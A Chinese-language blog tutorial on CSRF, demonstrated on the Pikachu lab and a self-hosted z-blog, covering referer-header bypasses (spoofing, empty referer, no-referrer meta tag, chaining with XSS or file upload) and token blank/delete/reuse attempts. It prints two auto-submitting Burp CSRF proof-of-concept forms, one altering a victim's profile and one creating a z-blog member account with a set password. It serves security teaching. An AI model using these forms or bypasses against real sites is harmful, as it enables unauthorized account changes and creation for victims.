CSRF 漏洞原理演示 && 基本绕过(同源 异源)&& 配合XSS&Token值校验&复用删除

发布于:2025-02-19 ⋅ 阅读:(22) ⋅ 点赞:(0)

前言

CSRF的基本原理  就是 举例 我们伪造一个支付宝的转账请求(抓包获取的),受害者 : 正好登录着支付宝(后台)的   同时点击了我们伪造的(包含恶意请求)网址  从而导致先我们进行转账

条件: 1、需要伪造的数据包
2、无过滤防护
3、受害者需要触发(诱惑)

演示

条件 :有条件的可以 申请2个服务器   不行就使用同一局域网下的2个电脑(一个搭建CMS   一个搭建攻击网站)

抓包构造  poc

创建一个  add.html   把生成的 poc  复制到里面(记得勾选  自动点击  不然就需要用户自己点击才能 进行跳转)

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://121.199.174.104/vul/csrf/csrfget/csrf_get_edit.php">
      <input type="hidden" name="sex" value="girl" />
      <input type="hidden" name="phonenum" value="88888888" />
      <input type="hidden" name="add" value="usa" />
      <input type="hidden" name="email" value="lucy&#64;pikachu&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

搭建靶场   把恶意的请求放到网站目录 

恶意的网站页面 

当我们直接进行访问时(需要后台登录过 pikachu 后台  不然没有cookie验证也是进不去的)

点击跳转  发现手机号被修改了    这个就是防护的CSRF的修改   发现这种跨站是非常危险的

CSRF的基本绕过

一般就是网站会设置   获取refer头信息从而来判断是否要拒绝你的访问(获取referer头的方法)

网站是怎么进行waf的 : 

<?php 
// 定义一个变量,用于存放flag
$flag = 123456;
$refer = $_SERVER['HTTP_REFERER'];  // 获取HTTP_REFERER  获取referer头部
echo $refer;  // 输出referer头部
if ($refer == "http://xiaodi8.com") {  // 判断referer是否为xiaodi8.com
    echo $flag;  // 输出flag
}else{
    echo "非法访问";  // 输出非法访问
}

在网站目录下新建一个 php文件储存上边这个 代码   我们使用 本机去访问

访问发现出现了  非法访问没有出现flag  

抓个包  修改refer头   这个时候就可以访问成功了

2个点  :  我们要修改的referer头  是一一对应的 :  解决方法 : 结合文件上传(把恶意代码的html文件上传到网站上) 让受害者主动访问 目标网站

结合 XXS  这个网站上有XXS  我们可以构造一个  重定向的一个payload  然后让其使用他的本地正确的网站进行

我们要修改的是模糊匹配的(有这个地址就行):这个的玩法 就是在你的请求服务器上把这个数据包的伪造请求放到 受害者地址的目录下(这个目录需要手动的创建)  
这个也是需要一个条件就是  需要是 受害者点击进行的

实战 利用z-blog

zblog的搭建 直接使用小皮面板放到网站目录下

密码是  Abc123456  

抓取请求包

生成  CSRF的poc   我们把这个代码粘贴到  add.html  内

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://121.199.174.104/zb_system/cmd.php?act=MemberPst&csrfToken=19a6ce97294a905a4c37f883ed6bc9d0" method="POST">
      <input type="hidden" name="ID" value="0" />
      <input type="hidden" name="Level" value="6" />
      <input type="hidden" name="Status" value="0" />
      <input type="hidden" name="Name" value="�&#174;&#191;�&#174;&#162;" />
      <input type="hidden" name="Password" value="Abc123456" />
      <input type="hidden" name="PasswordRe" value="Abc123456" />
      <input type="hidden" name="Alias" value="" />
      <input type="hidden" name="Email" value="1111&#64;qq&#46;com" />
      <input type="hidden" name="HomePage" value="" />
      <input type="hidden" name="Intro" value="" />
      <input type="hidden" name="Template" value="index" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

复制完成之后  记得把burp内的包给丢弃  

这个是没进行修改的

我们访问  add.html

发现是非法访问的  我们审查一下  zblog的源代码

http://121.199.174.104/zb_system/cmd.php?act=MemberPst&csrfToken=19a6ce97294a905a4c37f883ed6bc9d0

这个是路径  发现是在cmd.php

这边我们  试一下修改 referer 头试试是否可以直接绕过  

修改referer头为网站自身的   

发现是修改成功的  但是这个名字有点问题   

当然除了这些还有个就是无referer的逻辑

1、空 referer: 直接把referer=   后边的值删除

2、置空  :   在我们伪造的请求poc中的开头加入<meta name="referrer" content="no-referrer">

即可利用  

逻辑的原理 : 我们看直接查看 zblog的源码

置空的逻辑(如果没有referer 就会返回true)就是  利用的我们退出当前页面之后  如果想再次返回的时候因为浏览器储存这cookie  所以会直接进入 但是这个二次进入是没有来源的就是没有referer

CSRF的token防护 

从上边的那个url请求我们可以看出来  这个后边有个csrftoken=xxxxxx的  其实这个token

一般情况是绕过不了的

第二种防护机制  CSRF   token防护  : 特点就是 token具有唯一性和随机性     我们每访问一次界面就会有一个token随机(token 是在退出重进为一次单位)

正常的token  我们访问一次就会刷新一次 

置空

删除

复用

在CSRF中的作用还是比较有限的是因为 复用的一般是受害者登录的token

口诀 : 发现token  上边三个都没用 准备跑路


网站公告

今日签到

点亮在社区的每一天
去签到